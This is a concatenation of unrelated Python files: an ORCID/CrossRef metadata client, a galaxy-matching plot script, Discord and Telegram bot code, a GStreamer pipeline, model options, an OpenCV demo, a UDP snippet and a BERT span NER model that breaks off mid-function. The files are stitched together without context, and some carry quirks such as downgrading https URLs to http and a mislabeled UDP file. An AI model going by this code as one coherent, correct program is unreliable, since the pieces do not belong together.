from crossref.restful import Works

import requests
import re

class CrossRef:
    def __init__(self):
        self.works = Works()
        self.metadata = None

    def get_doi_metadata(self, doi: str) -> dict:
        try:
            self.metadata = self.works.doi(doi=doi)
            return self.metadata
        except Exception:
            return None

    def get_info_from_orcid(self, orcid: str):
        if not orcid:
            return None, None

        orcid_api_url = f"https://pub.orcid.org/v3.0/{orcid}/person"
        headers = {"Accept": "application/json"}

        response = requests.get(orcid_api_url, headers=headers)

        if response.status_code == 200:
            data = response.json()

            emails = data.get("emails", None)
            email = emails.get("email", None) if emails else None
            email = email[0].get("email", None) if email and len(email) > 0 else None
            final_email = email if email else None

            urls = data.get("researcher-urls", None)
            url = urls.get("researcher-url", None) if urls else None
            url = url[0].get("url", None) if url and len(url) > 0 else None
            if url and "value" in url:
                final_url: str = url["value"]
                if final_url.startswith("https://"):
                    final_url = re.sub(r"https://", "http://", final_url)
                elif not final_url.startswith("http://"):
                    final_url = "http://" + final_url.strip()
            else:
                final_url = None

            return final_email, final_url

        return None, None

    def get_contributors(self):
        if self.metadata:
            contributors = self.metadata.get("author", None)
            return contributors

    def get_author_affiliations(self, contributor: dict):
        affiliations = contributor.get("affiliation", None)
        return affiliations

    def get_author_full_name(self, contributor: dict) -> (str, str):
        family_name = contributor.get("family", None)
        given_name = contributor.get("given", None)
        return family_name, given_name

    def get_author_orcid(self, contributor: dict) -> str:
        orcid = contributor.get("ORCID", None)
        return orcid

    def get_subjects(self) -> list[str]:
        if self.metadata:
            subjects = self.metadata.get("subject", None)
            return subjects

    def get_title(self) -> str:
        if self.metadata:
            title = self.metadata.get("title", None)
            return title

    def get_abstract(self) -> str:
        if self.metadata:
            abstract = self.metadata.get("abstract", None)
            return abstract


#========================================================================================#========================================================================================
#   LIBRARIES
#========================================================================================
import BH_Physics as BHP
from fitool import fit

import numpy as np
from scipy.interpolate import interp1d
from loadmodules import *
from parse_particledata import parse_particledata
import os
from scipy.optimize import curve_fit
from collections import Counter

import matplotlib.pyplot as plt
from mpl_toolkits.mplot3d import Axes3D
import matplotlib
from matplotlib import rc
matplotlib.rcParams['mathtext.fontset'] = 'stix'
matplotlib.rcParams['font.family'] = 'STIXGeneral'
plt.close('all')

#========================================================================================
#   FUNCTIONS
#========================================================================================
def sersic_prof1( x, ba, b, n):
    return ba * np.exp(-(x / b)**n )  # warning!! b is not Reff here!!!

def exp_prof(x, da, h):
    return da * np.exp(-x / h )

def total_profile(x, da, h, ba, b, n):
    y = exp_prof(x, da, h) + sersic_prof1(x, ba, b, n)
    return (y)

def Exponential_Disk( r, sigma0, Rd ):
    return sigma0*np.exp( -r/Rd )

def Sersic_Profile( r, sigma_eff, Reff, n ):

    b = lambda n: 2*n - 1/3. + 4/(405.*n) + 46/(25515.*n**2) + 131/(1148175*n**3) - 2194697/(30690717750*n**4)
    return sigma_eff*np.exp( -b(n)*( (r/Reff)**(1./n) - 1 ) )

def Total_Profile( r, a, b, c, d, e ):
    return Exponential_Disk( r, a, b ) + Sersic_Profile( r, c, d, e )

#========================================================================================
#   PARAMETERS
#========================================================================================
Simulation0 = 'cosmobh00'
Simulation1 = 'cosmobh01'

#========================================================================================
#   PLOTS
#========================================================================================
StellarMass0 = np.loadtxt( './data/stellarmass_%s.txt'%Simulation0 )
StellarMass1 = np.loadtxt( './data/stellarmass_%s.txt'%Simulation1 )

#GasMass0 = np.loadtxt( './data/gasmass_%s.txt'%Simulation0 )
#GasMass1 = np.loadtxt( './data/gasmass_%s.txt'%Simulation1 )

#DMMass0 = np.loadtxt( './data/dmmass_%s.txt'%Simulation0 )
#DMMass1 = np.loadtxt( './data/dmmass_%s.txt'%Simulation1 )

DT0 = abs(np.loadtxt( './data/morphologies_%s.txt'%Simulation0 ))
DT1 = abs(np.loadtxt( './data/morphologies_%s.txt'%Simulation1 ))

Color0 = np.loadtxt( './data/color_%s.txt'%Simulation0 )
Color1 = np.loadtxt( './data/color_%s.txt'%Simulation1 )

Spos0 = np.loadtxt( './data/spos_%s.txt'%Simulation0 )
Spos1 = np.loadtxt( './data/spos_%s.txt'%Simulation1 )

#Matching
index = np.zeros( len(StellarMass0) )
residual = np.zeros( len(StellarMass0) )
ID1 = np.arange( len(StellarMass1) )
for i,r in enumerate(Spos0):
    index[i] = int(ID1[np.argsort( np.linalg.norm( Spos1 - r, axis=1 ) )[0]])
    residual[i] = np.sort( np.linalg.norm( Spos1 - r, axis=1 ) )[0]

index = index.astype(int)

#Discarding not-matching haloes
mask_nm = (residual<=1e2)#*(np.log10(StellarMass1[index])+10>9.5)#*(Color0>0.6)

plt.figure( figsize=(15,10) )
mask_nm = (residual<=1e2)*(np.log10(StellarMass1[index])+10>9.5)*(Color1[index]>0.6)
plt.scatter( np.log10(StellarMass0[mask_nm]) + 10 , Color0[mask_nm], alpha = 0.5, marker = 's', s=40, vmin=0, vmax=1, zorder = 10, color='blue')#, c=DT0[mask_nm], cmap = 'jet_r' )
plt.scatter( np.log10(StellarMass1[index[mask_nm]]) + 10 , Color1[index[mask_nm]], alpha = 0.5, marker = 'o', s=40, vmin=0, vmax=1, zorder = 10, color='red')#, c=DT1[index[mask_nm]], cmap = 'jet_r' )
#cb1 = plt.colorbar()
#cb1.set_label( 'D / T', fontsize = 18 )

for i in xrange( sum(mask_nm) ):
    #plt.arrow( [np.log10(StellarMass0[mask_nm])[i] + 10, np.log10(StellarMass1[index[mask_nm]])[i] + 10], [Color0[mask_nm][i], Color1[index[mask_nm]][i]]
    plt.arrow( np.log10(StellarMass0[mask_nm])[i] + 10, Color0[mask_nm][i], (np.log10(StellarMass1[index[mask_nm]])[i] + 10)-(np.log10(StellarMass0[mask_nm])[i] + 10), Color1[index[mask_nm]][i]-Color0[mask_nm][i], ls='--', color='gray', length_includes_head=True, width=0.0005 )

plt.xlim( [9.0,12] )
plt.ylim( [0.1,0.8] )
plt.xlabel( '$\log M_{\star} [10^{10}\ M_{\odot}]$', fontsize = 18 )
plt.ylabel( 'g - r', fontsize = 18 )

plt.show()


from __future__ import annotations

import math
import os

import pygame

from pgbot import emotion

EMOTIONS_PER_ROW = 2
NEGATIVE_EMOTIONS = {"bored": "exhausted", "happy": "sad"}
EMOTION_COLORS = {
    "happy": (230, 28, 226),
    "sad": (28, 28, 230),
    "anger": (230, 36, 18),
    "bored": (230, 181, 18),
    "exhausted": (235, 127, 19),
    "confused": (19, 235, 228),
}

def get_emotion_desc_dict(emotions: dict[str, int]):
    """
    Get emotion description dict from emotion dict
    """
    return {
        "happy": {
            "msg": "I feel... happi!\n"
            "While I am happi, I'll make more dad jokes (Spot the dad joke in there?)\n"
            "However, don't bonk me or say 'ded chat', as that would make me sad.\n"
            f"*The snek's happiness level is `{emotions.get('happy', '0')}`, "
            "don't let it go to zero!*",
            "emoji_link": "https://cdn.discordapp.com/emojis/837389387024957440.png?v=1",
        },
        "sad": {
            "msg": "I'm sad...\n"
            "I don't feel like making any jokes. This is your fault, "
            "**don't make me sad.**\nPet me pls :3\n"
            f"*The snek's sadness level is `{-emotions.get('happy', 0)}`, play with "
            "it to cheer it up*",
            "emoji_link": "https://cdn.discordapp.com/emojis/824721451735056394.png?v=1",
        },
        "exhausted": {
            "msg": "I'm exhausted. \nI ran too many commands, "
            "so I'll be resting for a while..\n"
            "Don't try to make me run commands for now, I'll most likely "
            "just ignore it..\n"
            f"*The snek's exhaustion level is `{-emotions.get('bored', 0)}`. "
            "To make its exhaustion go down, let it rest for a bit.*",
            "emoji_link": None,
        },
        "bored": {
            "msg": "I'm booooooooored...\nNo one is spending time with me, "
            "and I feel lonely :pg_depressed:\n"
            f"*The snek's boredom level is `{emotions.get('bored', '0')}`, run "
            "more command(s) to improve its mood.*",
            "emoji_link": "https://cdn.discordapp.com/emojis/823502668500172811.png?v=1",
        },
        "confused": {
            "msg": "I'm confused!\nEither there were too many exceptions in my code, "
            "or too many commands were used wrongly!\n"
            f"*The snek's confusion level is `{emotions.get('confused', '0')}`, "
            "to lower its level of confusion, use proper command syntax.*",
            "emoji_link": "https://cdn.discordapp.com/emojis/837402289709907978.png?v=1",
        },
        "anger": {
            "msg": "I'm angry!\nI've been bonked too many times, you'd be "
            "angry too if someone bonked you 50+ times :unamused:\n"
            "No jokes, no quotes. :pg_angry:. Don't you dare pet me!\n"
            f"*The snek's anger level is `{emotions.get('anger', '0')}`, "
            "ask for its forgiveness to calm it down.*",
            "emoji_link": "https://cdn.discordapp.com/emojis/779775305224159232.gif?v=1",
            "override_emotion": "anger",
        },
    }

def generate_pie_slice(
    center_x: int, center_y: int, radius: int, start_angle: int, end_angle: int
):
    """
    Generate slice of the pie in the output
    """
    p = [(center_x, center_y)]

    # cover a bit more angle so that the boundaries are fully covered
    for angle in range(start_angle - 91, end_angle - 89):
        x = center_x + int(radius * math.cos(math.radians(angle)))
        y = center_y + int(radius * math.sin(math.radians(angle)))
        p.append((x, y))
    return p

def get_emotion_percentage(emotions: dict[str, int], round_by: int = 1):
    """
    Express emotions in terms of percentages, split complementary emotions into
    their own emotions
    """
    raw_emotion_percentage = {}
    for key, value in emotions.items():
        percentage = value / emotion.EMOTION_CAPS[key][1] * 100
        if percentage < 0:
            percentage = -percentage
            key = NEGATIVE_EMOTIONS[key]
        raw_emotion_percentage[key] = percentage

    sum_of_emotions = sum([i for i in raw_emotion_percentage.values()])
    emotion_percentage = {
        key: round(raw_emotion / sum_of_emotions * 100, round_by)
        if round_by != -1
        else raw_emotion / sum_of_emotions * 100
        for key, raw_emotion in sorted(
            raw_emotion_percentage.items(), key=lambda item: item[1], reverse=True
        )
    }

    return emotion_percentage

def emotion_pie_chart(emotions: dict[str, int], pie_radius: int):
    """
    Generates a pie chart, given emotions and pie radius
    Emotions must be in "raw form", like
    {"happy": 34, "bored": -35, "anger": 89, "confused": 499}
    """
    font = pygame.font.Font(os.path.join("assets", "tahoma.ttf"), 30)
    font.bold = True

    image = pygame.Surface((pie_radius * 2, pie_radius * 2 + 30 * len(emotions)))
    image.fill((0, 0, 0, 0))

    emotion_percentage = get_emotion_percentage(emotions)
    emotion_pie_angle = {
        key: percentage / 100 * 360 for key, percentage in emotion_percentage.items()
    }

    start_angle = 0
    for key, angle in emotion_pie_angle.items():
        if round(angle) != 0:
            pygame.draw.polygon(
                image,
                EMOTION_COLORS[key],
                generate_pie_slice(
                    pie_radius,
                    pie_radius,
                    pie_radius,
                    start_angle,
                    start_angle + round(angle),
                ),
            )
            start_angle += round(angle)

    pygame.draw.circle(
        image, (255, 255, 255), (pie_radius, pie_radius), pie_radius, width=10
    )

    i = 0
    txt_x = 0
    txt_y = pie_radius * 2
    for bot_emotion, percentage in emotion_percentage.items():
        txt = font.render(
            f"{bot_emotion.title()} - {percentage}%", True, EMOTION_COLORS[bot_emotion]
        )
        txt_rect = txt.get_rect(topleft=(txt_x, txt_y))
        image.blit(txt, txt_rect)

        pygame.draw.rect(
            image,
            EMOTION_COLORS[bot_emotion],
            (int(txt_x + pie_radius * 1.8 / EMOTIONS_PER_ROW), txt_y, 20, 40),
        )

        if i % EMOTIONS_PER_ROW != EMOTIONS_PER_ROW - 1:
            txt_x += pie_radius * 2 / EMOTIONS_PER_ROW
        else:
            txt_x = 0
            txt_y += 40
        i += 1

    return image


import sys
import logging
import gi
gi.require_version('Gst', '1.0')
from gi.repository import GObject, Gst, GLib

Gst.init(None)

class Pipeline:
    def __init__(self, export_dot, mainloop):
        self.mainloop = mainloop
        self.logger = logging.getLogger(__name__)
        self.pipeline = Gst.Pipeline("pipeline")

        self.bus = self.pipeline.get_bus()
        self.bus.add_signal_watch()

        if export_dot:
            self.pipelinename = self.pipeline.get_name()
            self.bus.connect("message::stream-status", self.export_dot)
            self.bus.connect("message::state-changed", self.export_dot)
            self.bus.connect("message::warning", self.export_dot)
            self.bus.connect("message::info", self.export_dot)
            self.bus.connect("message::eos", self.export_dot)
            self.bus.connect("message::error", self.export_dot)

        self.bus.connect("message::eos", self.on_eos)
        self.bus.connect("message::error", self.on_error)

        # Create pipeline
        self.videosrc = Gst.ElementFactory.make("videotestsrc", None)
        self.videosrc.set_property("pattern", 18)
        self.pipeline.add(self.videosrc)

        self.videocaps = Gst.ElementFactory.make("capsfilter",None)
        self.videocaps.set_property("caps", Gst.Caps.from_string("video/x-raw,width=800,height=600"))
        self.pipeline.add(self.videocaps)
        self.videosrc.link(self.videocaps)

        self.timeoverlay = Gst.ElementFactory.make("timeoverlay", None)
        self.pipeline.add(self.timeoverlay)
        self.videocaps.link(self.timeoverlay)

        self.videosink = Gst.ElementFactory.make("autovideosink", None)
        self.pipeline.add(self.videosink)
        self.timeoverlay.link(self.videosink)

    def export_dot(self, bus, message):
        if message.src.name != self.pipelinename:
            return
        elif message.type == Gst.MessageType.ERROR:
            Gst.debug_bin_to_dot_file_with_ts(self.pipeline, Gst.DebugGraphDetails.ALL, "error")
        elif message.type == Gst.MessageType.WARNING:
            Gst.debug_bin_to_dot_file_with_ts(self.pipeline, Gst.DebugGraphDetails.ALL, "warning")
        elif message.type == Gst.MessageType.INFO:
            Gst.debug_bin_to_dot_file_with_ts(self.pipeline, Gst.DebugGraphDetails.ALL, "info")
        elif message.type == Gst.MessageType.STREAM_STATUS:
            status, _ = message.parse_stream_status()
            Gst.debug_bin_to_dot_file_with_ts(self.pipeline, Gst.DebugGraphDetails.ALL, status.value_nick)
        elif message.type == Gst.MessageType.STATE_CHANGED:
            old, new, pending = message.parse_state_changed()
            Gst.debug_bin_to_dot_file_with_ts(self.pipeline, Gst.DebugGraphDetails.ALL, old.value_nick + "_" + new.value_nick)
        self.logger.info("New dot file exported.")

    def on_eos(self, bus, msg):
        self.logger.info("EOS, exit application.")
        self.bus.remove_signal_watch()
        self.pipeline.set_state(Gst.State.NULL)
        self.pipeline = None
        self.mainloop.quit()

    def on_error(self, bus, message):
        self.logger.error("error detected, quit application.")
        err, _=message.parse_error()
        Gst.error("error detected, quit application: {}".format(err.message))
        self.mainloop.quit()

    def run(self):
        self.pipeline.set_state(Gst.State.READY)
        self.pipeline.set_state(Gst.State.PLAYING)


import sys
import argparse

class BaseOptions():
    def __init__(self):
        self.initialized = False

    def initialize(self, parser):
        # original arguments
        parser.add_argument("--epoch", type=int, default=0,
                    help="epoch to start training from")
        parser.add_argument("--n_epochs", type=int, default=400,
                            help="number of epochs of training")
        parser.add_argument("--data_path", type=str, default="../../data")
        parser.add_argument("--output_path", type=str, default="./results/flickr")
        parser.add_argument("--batch_size", type=int, default=32,
                            help="size of the batches")
        parser.add_argument("--n_cpu", type=int, default=2,
                            help="number of cpu threads to use during batch generation")

        # experiment specifics
        parser.add_argument('--name', type=str, default='label2coco', help='name of the experiment. It decides where to store samples and models')
        parser.add_argument('--gpu_ids', type=str, default='0', help='gpu ids: e.g. 0  0,1,2, 0,2. use -1 for CPU')
        parser.add_argument('--checkpoints_dir', type=str, default='./checkpoints', help='models are saved here')
        parser.add_argument('--norm_G', type=str, default='spectralinstance', help='instance normalization or batch normalization')
        parser.add_argument('--norm_D', type=str, default='spectralinstance', help='instance normalization or batch normalization')
        parser.add_argument('--norm_E', type=str, default='spectralinstance', help='instance normalization or batch normalization')
        parser.add_argument('--phase', type=str, default='train', help='train, val, test, etc')

        # input/output sizes
        parser.add_argument('--preprocess_mode', type=str, default='scale_width_and_crop', help='scaling and cropping of images at load time.', choices=("resize_and_crop", "crop", "scale_width", "scale_width_and_crop", "scale_shortside", "scale_shortside_and_crop", "fixed", "none"))
        parser.add_argument('--crop_size', type=int, default=512, help='Crop to the width of crop_size (after initially scaling the images to load_size.)')
        parser.add_argument('--aspect_ratio', type=float, default=1.0, help='The ratio width/height. The final height of the load image will be crop_size/aspect_ratio')
        parser.add_argument('--label_nc', type=int, default=182, help='# of input label classes without unknown class. If you have unknown class as class label, specify --contain_dopntcare_label.')
        parser.add_argument('--contain_dontcare_label', action='store_true', help='if the label map contains dontcare label (dontcare=255)')
        parser.add_argument('--output_nc', type=int, default=3, help='# of output image channels')

        # for displays
        parser.add_argument('--display_winsize', type=int, default=400, help='display window size')

        # for discriminator
        parser.add_argument('--ndf', type=int, default=64, help='# of discrim filters in first conv layer')
        parser.add_argument('--lambda_feat', type=float, default=10.0, help='weight for feature matching loss')
        parser.add_argument('--lambda_vgg', type=float, default=10.0, help='weight for vgg loss')
        parser.add_argument('--no_ganFeat_loss', action='store_true', help='if specified, do *not* use discriminator feature matching loss')
        parser.add_argument('--no_vgg_loss', action='store_true', help='if specified, do *not* use VGG feature matching loss')
        parser.add_argument('--gan_mode', type=str, default='hinge', help='(ls|original|hinge)')

        # for generator
        parser.add_argument('--ngf', type=int, default=64, help='# of gen filters in first conv layer')

        # for instance-wise features
        parser.add_argument('--no_instance', action='store_true', help='if specified, do *not* add instance map as input')
        parser.add_argument('--use_vae', action='store_true', help='enable training with an image encoder.')

        self.initialized = True
        return parser

    def parse(self):
        parser = argparse.ArgumentParser()
        opt = self.initialize(parser).parse_args()
        opt.isTrain = self.isTrain   # train or test

        # Set semantic_nc based on the option.
        # This will be convenient in many places
        opt.semantic_nc = opt.label_nc + \
            (1 if opt.contain_dontcare_label else 0) + \
            (0 if opt.no_instance else 1)

        self.opt = opt
        return self.opt


#画像処理_SURF
#参考文献
#https://python-debut.blogspot.com/2020/02/blog-post_24.html
#https://stackoverflow.com/questions/52305578/sift-cv2-xfeatures2d-sift-create-not-working-even-though-have-contrib-instal
#opencvのバージョンを下げた

import numpy as np
import cv2

img = cv2.imread('dog.jpg')

#特徴抽出するための箱を作る．
surf = cv2.xfeatures2d.SURF_create()  #SURF

#読み込んだ画像の特徴検出
kp_surf = surf.detect(img)

#画像への特徴点の書き込み
img_surf = cv2.drawKeypoints(img, kp_surf, None, flags=cv2.DRAW_MATCHES_FLAGS_DRAW_RICH_KEYPOINTS)

cv2.imwrite('img_surf.png', img_surf)

#opencvのバージョンを下げたため，以下の関数が使えなかった．
#cv2.imshow('img_surf.png', img_surf)
#cv2.waitKey(0)

#cv2.destroyAllWindows()


import socket

udpServer =socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
udpServer.connect(("10.60.250.230",9999))

while True:
    data, addr =udpServer.recvfrom(1024)
    print("客户端说：",data.decode('utf-8'))

基础代码/网络编程/客户端与服务端通信/UDP编程/server.py


from aiogram.dispatcher.filters import state
from aiogram.dispatcher import FSMContext

from main import bot, dp
from aiogram import types
from aiogram.types import ParseMode
from language_middleware import i18n
from sql import SQL
from config import DB_NAME

dp.middleware.setup(i18n)
_ = i18n.gettext

database = SQL(f'{DB_NAME}')

def unpack_geo(geopositions: list):
    return '\n'.join(geopositions)

async def register(id: int):
    await bot.send_message(chat_id=id, text=_("You've already been registered!"))

def throw_buttons():
    keyboards = types.ReplyKeyboardMarkup(resize_keyboard=True, one_time_keyboard=True)
    button_location = types.KeyboardButton(_("Here I Am"), request_location=True)
    button_victory = types.KeyboardButton("\u270C")
    button_snowflake = types.KeyboardButton("\u2744")
    button_cold = types.KeyboardButton("\U0001F976")
    button_like = types.KeyboardButton("\U0001F44D")
    button_fire = types.KeyboardButton("\U0001F525")
    button_swear = types.KeyboardButton("\U0001F621")
    keyboards.add(button_location, button_victory, button_snowflake, button_cold, button_fire, button_swear, button_like)
    return keyboards

async def send_request(ids: int, first_name: str, message_id:int, contact):
    await bot.send_message(ids,
                           text=_("User [{0}](tg://user?id={1}) with number {2} waves {3} to you\.\n*Switch on your location before answer 'Here I Am'*\.").format(first_name, message_id, contact, '\u270B'),
                           reply_markup=throw_buttons(),
                           parse_mode=ParseMode.MARKDOWN_V2)

def button_contact():
    keyboard = types.ReplyKeyboardMarkup(resize_keyboard=True, one_time_keyboard=True)
    button = types.KeyboardButton(_("Share a contact"), request_contact=True)
    keyboard.add(button)
    return keyboard

async def aware_of_contact(id: int):
    await bot.send_message(chat_id=id, text=_('In order to use a bot please share your contact!')
                          , reply_markup=button_contact())

async def thank(id: int):
    await bot.send_message(chat_id=id,
                           text=_("Thank you for the registration!"))

async def action_after_registration(id: int, first_name: str):
    await bot.send_message(id,
                           text=_("Welcome, {0}!\nYou can find instruction in menu!\nPlease, choose your further action from menu!").format(
                               first_name),
                           )

async def cancel(id: int):
    await bot.send_message(id, text=_("Your action has been cancelled"))

async def share_a_contact(id: int):
    await bot.send_message(id,
                           text=_("Please share a contact of a person (choose from your contacts)!"))

async def request_acceptance(id: int):
    await bot.send_message(id,
                           text=_(
                               "Your request has been accepted!\nA person will share his location or state soon, meanwhile you can continue using a bot!"))

async def forwarding(id: int):
    await bot.send_message(id,
                           text=_("Unfortunately, this user has not been registered yet, tell him/her about this bot by forwarding the following message:"))

async def send_request_live(ids: int, first_name: str, message_id:int, contact):
    await bot.send_message(ids,
                           text=_("User [{0}](tg://user?id={1}) with number {2} wants to track your *live* location\.\n*Switch on your location before answer 'Location'*\.").format(first_name, message_id, contact),
                           reply_markup=throw_buttons(),
                           parse_mode=ParseMode.MARKDOWN_V2)

async def check_queries(query: list, id: int):
    if len(query[id]) != 0:
        await send_request(id,
                           database.get_name(query[id][-1])[0][0],
                           query[id][-1],
                           database.get_contact(query[id][-1])[0][0])


import torch
from ipdb import set_trace

import torch.nn as nn
import torch.nn.functional as F
import logging

from torch.nn.utils.rnn import pad_sequence

from config import MyBertConfig
from src.models.bert_model import BaseBert
from src.models.flash import GAU
from src.ner_predicate import vote, span_predicate
from utils.train_utils import load_model
from utils.loss_utils import LabelSmoothingCrossEntropy, FocalLoss

logger = logging.getLogger('main.bert_span')

class InterBertSpan(BaseBert):
    def  __init__(self, config: MyBertConfig):
        """
        这个只能针对普通的二分类
        :param config:
        :param num_tags:这个为2，表示预测的类别
        :param dropout_prob:
        :param is_train:
        :param loss_type:
        """

        super(InterBertSpan, self).__init__(config)
        # 这个时候numtags=2，因为只有disease一种类别
        self.config = config
        self.num_tags = config.num_span_class
        self.scheme = config.inter_scheme

        out_dims = self.bert_config.hidden_size
        mid_linear_dims = 128

        # todo:不使用RElu激活函数的结果，尝试更换激活函数...
        if self.scheme in [1,2,3,5]:
            self.mid_linear = nn.Sequential(
                nn.Linear(out_dims, mid_linear_dims),
                nn.Dropout(config.dropout_prob)
            )
            out_dims = mid_linear_dims * 2

        elif self.scheme == 6:
            # 得到的结果时

            self.mid_linear = nn.LSTM(out_dims, mid_linear_dims, batch_first=True, bidirectional=True,num_layers=2, dropout=0.5)
            self.dropout = nn.Dropout(0.5)
            out_dims = mid_linear_dims * 2
        elif self.scheme == 7:
            # 得到的结果时
            self.mid_linear = GAU(dim=768,dropout=0.4)
            self.dropout = nn.Dropout(0.5)
            out_dims = 768
        elif self.scheme == 8:
            # 输出的shape = (batch_size,seq_len,mid_linear_dims)
            mid_linear_dims = 256
            self.start_mid_linear = nn.Sequential(
                nn.Linear(out_dims, mid_linear_dims),
                nn.Dropout(config.dropout_prob)
            )
            self.end_mid_linear = nn.Sequential(
                nn.Linear(out_dims, mid_linear_dims),
                nn.Dropout(config.dropout_prob)
            )
            out_dims = mid_linear_dims * 2

        if self.scheme == 1 or self.scheme == 5:
            self.inter_linear = nn.Linear(self.num_tags,out_dims)
            self.start_fc = nn.Linear(out_dims, self.num_tags)
            self.end_fc = nn.Linear(out_dims, self.num_tags)
            init_blocks = [self.mid_linear, self.start_fc, self.end_fc, self.inter_linear]

        elif self.scheme == 2:
            self.inter_linear = nn.Linear(self.num_tags, out_dims)
            self.start_fc = nn.Linear(out_dims, self.num_tags)
            self.end_fc = nn.Linear(out_dims*2, self.num_tags)
            init_blocks = [self.mid_linear, self.start_fc, self.end_fc, self.inter_linear]

        elif self.scheme == 3:
            self.mid_linear = nn.Sequential(
                nn.Linear(out_dims, mid_linear_dims),
                nn.Dropout(config.dropout_prob),
                nn.LeakyReLU(),
            )

            self.inter_linear = nn.Linear(self.num_tags, 100)
            self.inter_linear2 = nn.Linear(100, out_dims)
            self.start_fc = nn.Linear(out_dims, self.num_tags)
            self.end_fc = nn.Linear(out_dims * 2, self.num_tags)
            init_blocks = [self.mid_linear, self.start_fc, self.end_fc, self.inter_linear]

        elif self.scheme == 4:
            self.inter_linear = nn.LSTM(self.num_tags, out_dims//2, batch_first=True, bidirectional=True,
                            num_layers=2, dropout=0.5)
            self.start_fc = nn.Linear(out_dims, self.num_tags)
            self.end_fc = nn.Linear(out_dims, self.num_tags)
            init_blocks = [self.mid_linear, self.start_fc, self.end_fc, self.inter_linear]

        elif self.scheme == 6 or self.scheme == 7:
            self.inter_linear = nn.Linear(self.num_tags, out_dims)
            self.start_fc = nn.Linear(out_dims, self.num_tags)
            self.end_fc = nn.Linear(out_dims, self.num_tags)
            init_blocks = [self.mid_linear, self.start_fc, self.end_fc, self.inter_linear]

        elif self.scheme == 8:

            self.inter_linear = nn.Linear(mid_linear_dims, mid_linear_dims)
            self.start_fc = nn.Linear(mid_linear_dims, self.num_tags)
            self.end_fc = nn.Linear(mid_linear_dims, self.num_tags)
            init_blocks = [self.start_mid_linear,self.end_mid_linear, self.start_fc, self.end_fc, self.inter_linear]
        elif self.scheme == 11:
            self.mid_linear = nn.Sequential(
                nn.Linear(out_dims, mid_linear_dims),
                nn.Dropout(config.dropout_prob)
            )
            self.inter_linear = nn.Sequential(
                nn.Linear(self.num_tags,mid_linear_dims),
                nn.LeakyReLU(),
                nn.Dropout(0.1),
            )
            self.start_fc = nn.Linear(mid_linear_dims, self.num_tags)
            self.end_fc = nn.Linear(mid_linear_dims, self.num_tags)
            init_blocks = [self.mid_linear, self.start_fc, self.end_fc, self.inter_linear]
        elif self.scheme == 12:
            self.mid_linear = nn.Sequential(
                nn.Linear(out_dims, mid_linear_dims),
                nn.Dropout(config.dropout_prob)
            )
            self.inter_linear = nn.Sequential(
                nn.Linear(self.num_tags,mid_linear_dims),
                nn.LeakyReLU(),
                nn.Dropout(0.1),
            )
            self.start_fc = nn.Linear(mid_linear_dims, self.num_tags)
            self.end_fc = nn.Linear(mid_linear_dims, self.num_tags)
            init_blocks = [self.mid_linear, self.start_fc, self.end_fc, self.inter_linear]

            self.dynamic_weight = nn.Parameter(torch.empty(1))
            self.dynamic_weight.data.fill_(0.5)  # init sparse_weight
        elif self.scheme == 13:
            # 加权方式是加法
            self.mid_linear = nn.Sequential(
                nn.Linear(out_dims, mid_linear_dims),
                nn.Dropout(config.dropout_prob)
            )
            self.inter_linear = nn.Sequential(
                nn.Linear(self.num_tags,mid_linear_dims),
                nn.LeakyReLU(),
                nn.Dropout(0.1),
            )
            self.start_fc = nn.Linear(mid_linear_dims, self.num_tags)
            self.end_fc = nn.Linear(mid_linear_dims, self.num_tags)
            init_blocks = [self.mid_linear, self.start_fc, self.end_fc, self.inter_linear]
        elif self.scheme == 20:
            """
            20是CNN系列
            """
        elif self.scheme == 30:
            """
            30是BilSTM系列
            """

            self.mid_linear = nn.LSTM(out_dims, mid_linear_dims // 2, batch_first=True, bidirectional=True,num_layers=2, dropout=0.5)
            self.inter_linear = nn.Sequential(
                nn.Linear(self.num_tags, mid_linear_dims),
                nn.LeakyReLU(),
                nn.Dropout(0.1),
            )
            self.start_fc = nn.Linear(mid_linear_dims, self.num_tags)
            self.end_fc = nn.Linear(mid_linear_dims, self.num_tags)
            init_blocks = [self.mid_linear, self.start_fc, self.end_fc, self.inter_linear]

        elif self.scheme == 40:
            """
            40是BiGRU系列的实验

            """
            self.mid_linear = nn.GRU(out_dims, mid_linear_dims // 2, batch_first=True, bidirectional=True,
                                      num_layers=2, dropout=0.5)
            self.inter_linear = nn.Sequential(
                nn.Linear(self.num_tags, mid_linear_dims),
                nn.LeakyReLU(),
                nn.Dropout(0.1),
            )

            self.start_fc = nn.Linear(mid_linear_dims, self.num_tags)
            self.end_fc = nn.Linear(mid_linear_dims, self.num_tags)
            init_blocks = [self.mid_linear, self.start_fc, self.end_fc, self.inter_linear]

        reduction = 'none'
        self.loss_type = config.span_loss_type
        if self.loss_type == 'ce':
            logger.info('损失函数使用:CrossEntropy')
            self.criterion = nn.CrossEntropyLoss(reduction=reduction)
        elif self.loss_type == 'ls_ce':
            logger.info('损失函数使用:LabelSmoothing CrossEntropy-')
            self.criterion = LabelSmoothingCrossEntropy(reduction=reduction)
        elif self.loss_type == 'focal':  # 这个用于多类别...
            logger.info('损失函数使用:Focal Loss')
            self.criterion = FocalLoss(reduction=reduction)

        self._init_weights(init_blocks)

    def forward(self, token_ids, attention_masks, token_type_ids, input_token_starts=None, start_ids=None, end_ids=None,
                input_true_length=None):
        """

        :param token_ids: 下面三个，给bert的值
        :param attention_masks:
        :param token_type_ids:
        :param input_token_starts:
        :param start_ids: 这个pad是按照batch的实际长度，并不是按照batch的subword长度，
        :param end_ids: 同上
        :param input_true_length: token_ids的真实长度
        :return:
        """

        if self.config.bert_name in ['scibert','biobert','flash','bert','flash_quad','wwm_bert']:
            bert_outputs = self.bert_model(input_ids=token_ids, attention_mask=attention_masks,
                                           token_type_ids=token_type_ids)
            sequence_output = bert_outputs[0]
        elif self.config.bert_name == 'kebiolm':
            bert_outputs = self.bert_model(input_ids=token_ids, attention_mask=attention_masks,
                                           token_type_ids=token_type_ids, return_dict=False)
            sequence_output = bert_outputs[2]  # shape=(batch_size,seq_len,hidden_dim)=[32, 55, 768]
        else:
            raise ValueError

        origin_sequence_output = []
        for layer, starts in zip(sequence_output, input_token_starts):
            res = layer[starts]  # shape=(seq_len,hidden_size)=(256,768)
            origin_sequence_output.append(res)

        # 这里的max_len和上面的seq_len已经不一样了，因为这里是按照token-level,而不是subword-level
        padded_sequence_output = pad_sequence(origin_sequence_output, batch_first=True)

        # 如果是scheme

        if self.scheme == 1:
            # 这是最原始的方式
            seq_out = self.mid_linear(padded_sequence_output)
            start_logits = self.start_fc(seq_out)
            inter_logits = F.relu(self.inter_linear(start_logits))
            seq_out = (seq_out+inter_logits)/2
